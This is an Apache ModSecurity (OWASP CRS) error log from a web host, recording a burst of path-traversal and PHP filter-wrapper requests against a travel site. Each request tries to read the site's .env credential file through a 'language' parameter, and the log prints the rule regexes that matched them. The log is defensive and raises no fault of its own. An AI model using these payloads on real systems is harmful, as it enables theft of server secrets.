[Fri Jul 17 08:55:12.460670 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&ts=fdhjhuvwtvijmmwnpvta9gylncjkj8dvd5m3k2oarrkzxb8mq4dpd0dsjzjxxunjpow-wfzt8sgsahv53mali9vgrg1q4xqvcqsuib_1skronxnnlpu5adf3jmezyiwvmtbcpd7xt__rmfenosouur3oc2zzwq7jijjsshvdfv_xaj82rzxxgwn0od4539kw6l--77huvzkqynxib5iyj1uyvyksqqtspyz_xrzivkzdm987vsn-krx2tmor9bqav9n_hqoaqxhklvq6t5lldotg&sid=7ny2osd7laya3wevsloqk3zu27zdhow3l5eyp53lu4pf7bdl2jri2c46vxek3dmetmgsihlxvj..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
[Fri Jul 17 08:55:12.460718 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
[Fri Jul 17 08:55:12.460753 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
[Fri Jul 17 08:55:12.460964 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.461140 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.461265 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
[Fri Jul 17 08:55:12.461511 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmCvekYYQ8uns4MwlQAAAAA0"]
[Fri Jul 17 08:55:12.462768 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
[Fri Jul 17 08:55:12.463080 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.463718 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIZvbo7N5o5zeYC-QAAAABw"]
[Fri Jul 17 08:55:12.456029 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmOYpb_TFRze2EO3zYAAAAAE"]
[Fri Jul 17 08:55:12.465322 2026] [hostinglimits:warn] [pid 2023579:tid 2023579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2023579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.465777 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmOYpb_TFRze2EO3zYAAAAAE"]
[Fri Jul 17 08:55:12.468281 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kwAAABA"]
[Fri Jul 17 08:55:12.469370 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kwAAABA"]
[Fri Jul 17 08:55:12.469537 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.469916 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEkXT4NBqALj2lZ8kwAAABA"]
[Fri Jul 17 08:55:12.471478 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyQAAAAA"]
[Fri Jul 17 08:55:12.473451 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmLEWOaI5pmYo9fnOyQAAAAA"]
[Fri Jul 17 08:55:12.473675 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.474295 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmLEWOaI5pmYo9fnOyQAAAAA"]
[Fri Jul 17 08:55:12.476717 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=yBYpofRXTzkZFSIPqqcpGF3wfRmdxmb137zjZ2WNh_QHMn2ytqSFeYcP1cVdv7g2Rw8nbchs7sFRJqOFKQ0_W7OjW8Wxu-ONLKiCRpPRkqXDLqGPq0aMM9b4KzoGowAieZPZCBLVxv3b_M3shMK6aOFeMiDZV8dcsVGC2GtAoeVJ4dwSwFwXeWcJCk00cUp_q2TGPMaukIOqbT51uYeAcnd0JV2PrSxzM6NLf4b_oxLttBPAYLIqeSJbbQpBCrnFutfiALO7dHZuSWzZtSFDm2p5&anything=3A6ZIF5YFX4BW4XM4DNUULZGWQHGF7UKK2IQXAA2JC3CAPNXM3UEEGOXJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.476783 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.476890 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=yBYpofRXTzkZFSIPqqcpGF3wfRmdxmb137zjZ2WNh_QHMn2ytqSFeYcP1cVdv7g2Rw8nbchs7sFRJqOFKQ0_W7OjW8Wxu-ONLKiCRpPRkqXDLqGPq0aMM9b4KzoGowAieZPZCBLVxv3b_M3shMK6aOFeMiDZV8dcsVGC2GtAoeVJ4dwSwFwXeWcJCk00cUp_q2TGPMaukIOqbT51uYeAcnd0JV2PrSxzM6NLf4b_oxLttBPAYLIqeSJbbQpBCrnFutfiALO7dHZuSWzZtSFDm2p5&anything=3A6ZIF5YFX4BW4XM4DNUULZGWQHGF7UKK2IQXAA2JC3CAPNXM3UEEGOXJRVRDR2I7LZLWHLUJIFDHAMB6IS..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.476961 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&token=ybypofrxtzkzfsipqqcpgf3wfrmdxmb137zjz2wnh_qhmn2ytqsfeycp1cvdv7g2rw8nbchs7sfrjqofkq0_w7ojw8wxu-onlkicrpprkqxdlqgpq0amm9b4kzogowaiezpzcblvxv3b_m3shmk6aofemidzv8dcsvgc2gtaoevj4dwswfwxewcjck00cup_q2tgpmaukioqbt51uyeacnd0jv2prsxzm6nlf4b_oxlttbpayliqesjbbqpbcrnfutfialo7dhzuswzztsfdm2p5&anything=3a6zif5yfx4bw4xm4dnuulzgwqhgf7ukk2iqxaa2jc3capnxm3ueegoxjrvrdr2i7lzlwhlujifdhamb6is..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.477042 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.477137 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.477696 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.479333 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.479553 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.480025 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmA7FYe46zHK_jL3PrAAAABk"]
[Fri Jul 17 08:55:12.487901 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&anything=kLlALAXkanGBKICWnBUPL7cDNXRw8dU0ScZK_B82e3dQuFcq9249OtBYfN6TQojdKx8gZrcHrPHWJg1skDoiRh382uwgoWQ7nV-vO7jMH2jBp7tpjOIhrlau5-mspOGZfd2WFo0DLDZspj-jEa8H_sI7GHB8ml96US5DMY8LIvdnNdeb03oi1DIRUkM-y5ZGszpMwafqPS-Xlow83DzJjCW4Cu64DTcSKsQz7oytefXMwKUDe1TMJuqp3RaXsT9GVm-jDUnf6TmjULjrcVx18g1Y&sid=NPNS44HDAJ5FC5JKNDXUJRBVRKWAB66M7RB6SZKORR7FNGV7G4KSDJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
[Fri Jul 17 08:55:12.487971 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLwAAABQ"]
